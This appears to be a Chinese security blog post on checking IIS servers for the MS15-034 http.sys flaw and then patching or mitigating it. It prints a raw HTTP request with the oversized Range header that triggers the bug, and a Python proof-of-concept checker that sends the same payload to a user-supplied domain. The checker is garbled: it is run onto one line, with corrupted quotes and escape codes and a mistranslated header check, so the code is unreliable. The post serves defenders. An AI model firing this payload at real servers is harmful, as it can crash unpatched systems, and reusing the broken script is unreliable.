使用發包工具構造http請求包檢測 以fiddler工具為例,構造如下圖的請求包:
1 GET http://192.168.174.145/ HTTP/1.1
2 Host: 192.168.174.145
3 Range: bytes=0-18446744073709551615
4 Connection: keep-alive
5 Cache-Control: max-age=0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
漏洞確認 如果收到服務器返回包如下, 則說明存在此漏洞。建議您盡快制定防護計划,以避免系統在獲得加固前遭受攻擊。
漏洞驗證POC
#!/usr/bin/env python __author__ = ';jastra'; class bg_colors: VULN = ';33[92m'; NONVULN= ';33[95m'; EXPLOIT = ';33[91m'; try: import requests import re except ImportError as ierr: print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr) def identify_iis(domain): req = requests.get(str(domain)) remote_server = req.headers[';server';] if "Microsoft-IIS" in remote_server: print(bg_colors.VULN + "[+] 服務是 " + remote_server) ms15_034_test(str(domain)) else: print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) def ms15_034_test(domain): print(" 啟動vuln檢查!") vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"; req = requests.get(str(domain), params=vuln_buffer) if req.headers[';content';] == "請求范圍不符合": print(bg_colors.EXPLOIT + "[+] 存在漏洞") else: print(bg_colors.EXPLOIT + "[-] IIS服務無法顯示漏洞是否存在. "+ "需要手動檢測") usr_domain = raw_input("輸入域名掃描: ") identify_iis(usr_domain)
http.sys漏洞防護
經過上面的漏洞檢測步驟后,如果確認您的業務環境中存在http.sys漏洞,那么就需要盡快制定並啟動加固方案,這些加固從漏洞補丁開始,到產品防護,到整體防護,逐步推進。
漏洞加固
使用IIS的用戶,可以通過Windows Update的方式獲得對應的KB3042553熱修補補丁,建議用戶開啟自動更新服務以及時安裝最新補丁,相關公告請見:
http.sys漏洞補丁公告:http://technet.microsoft.com/security/bulletin/MS15-034
如果您的業務系統暫時還無法升級補丁,那么可通過禁用IIS 內核緩存來臨時緩解此漏洞的危險,但需要注意這可能會導致IIS性能下降,具體的執行方法可以參考:
http.sys漏洞緩解方案:https://technet.microsoft.com/zh-cn/library/cc731903(v=ws.10).aspx
IIS加固
雖然IIS7中http.sys已經獨立出來成為系統級驅動程序,但以史為鑒,建議用戶在安裝補丁的同時也需要考慮IIS加固事項,具體的最佳實踐請參考:
IIS7加固方案: https://technet.microsoft.com/zh-cn/library/cc731278(WS.10).aspx
最后
歡迎關注個人微信公眾號:Bypass--,每周一篇原創高質量的干貨。
參考博文地址:
http://www.ijiandao.com/safe/cto/12829.html
http://www.freebuf.com/articles/system/64185.html